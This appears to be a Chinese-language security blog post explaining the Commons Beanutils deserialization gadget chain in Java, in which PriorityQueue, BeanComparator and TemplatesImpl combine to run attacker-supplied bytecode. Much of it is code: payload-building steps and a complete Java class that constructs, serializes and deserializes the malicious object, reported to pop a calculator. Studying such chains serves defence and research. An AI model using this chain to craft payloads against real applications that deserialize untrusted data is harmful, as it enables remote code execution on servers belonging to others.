背景
通过前面我们知道了java.util.PriorityQueue
类实现了自己的readObject方法,可以作为一个入口,并且可以调用到transform。前面的利用链都是使用CommonCollection库里的代码实现攻击,其实也有其他的常用库也可以达成类似的效果。也就是说要寻找其他实现了java.util.Comparator
的对象
Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
JavaBean是一种按特定规范编写的类,主要用来保存数据。一般包括私有属性和这个属性的赋值取值方法:
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
commons-beanutils则是为了更方便的使用JavaBean而开发的一个工具包,这里面提供了一个静态方法:PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean的getter(获取某个属性值)方法,比如:
PropertyUtils.getProperty(newCat(),"name");
另外commons-beanutils还提供了一个比较方法,用来比较Bean是否为相等的类:org.apache.commons.beanutils.BeanComparator
,这个类实现了java.util.Comparator
接口,看它的compare()方法:
public int compare( final T o1, final T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( final IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " +
iae.toString() );
}
catch ( final InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " +
ite.toString() );
}
catch ( final NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " +
nsme.toString() );
}
}
如果this.property
不为空,则会调用PropertyUtils.getProperty去获取这两个对象的this.property
属性,这个步骤就会自动去寻找对象的getter方法。如果有什么方法的getter方法能够执行恶意代码,就完成了整个步骤。
这里回想一下,TemplatesImpl的利用链中,有用到了一个getxxx方法。
TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()-> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
TemplatesImpl#getOutputProperties()
正好符合Bean的getter方法的要求。
所以这段代码PropertyUtils.getProperty( o1, property );
中,o1是一个TemplatesImpl对象,property
是OutputProperties
的时候,就会自动触发代码执行。
payload构造
首先准备好恶意的TemplatesImpl
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
初始化好比较器和PriorityQueue
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(beanComparator);
queue.add(1);
queue.add(1);
反射修改属性,queue的值改为恶意的TemplatesImpl对象,比较器BeanComparator的property改为outputProperties,以调用getoutputProperties方法。
setFieldValue(beanComparator, "property", "outputProperties");
// 将队列中的两个元素改为TemplatesImpl对象
setFieldValue(queue, "queue", new Object[]{obj, obj});
成功弹出计算器
完整代码
package changez.sec.CommonBeanutils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import changez.sec.shiro.Evil;
public class CommonBeanutils {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field f1 = obj.getClass().getDeclaredField(fieldName);
f1.setAccessible(true);
f1.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(beanComparator);
queue.add(1);
queue.add(1);
// 将BeanComparator的property改为OutputProperties,比较时调用getOutputProperties()
setFieldValue(beanComparator, "property", "outputProperties");
// 将队列中的两个元素改为TemplatesImpl对象
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}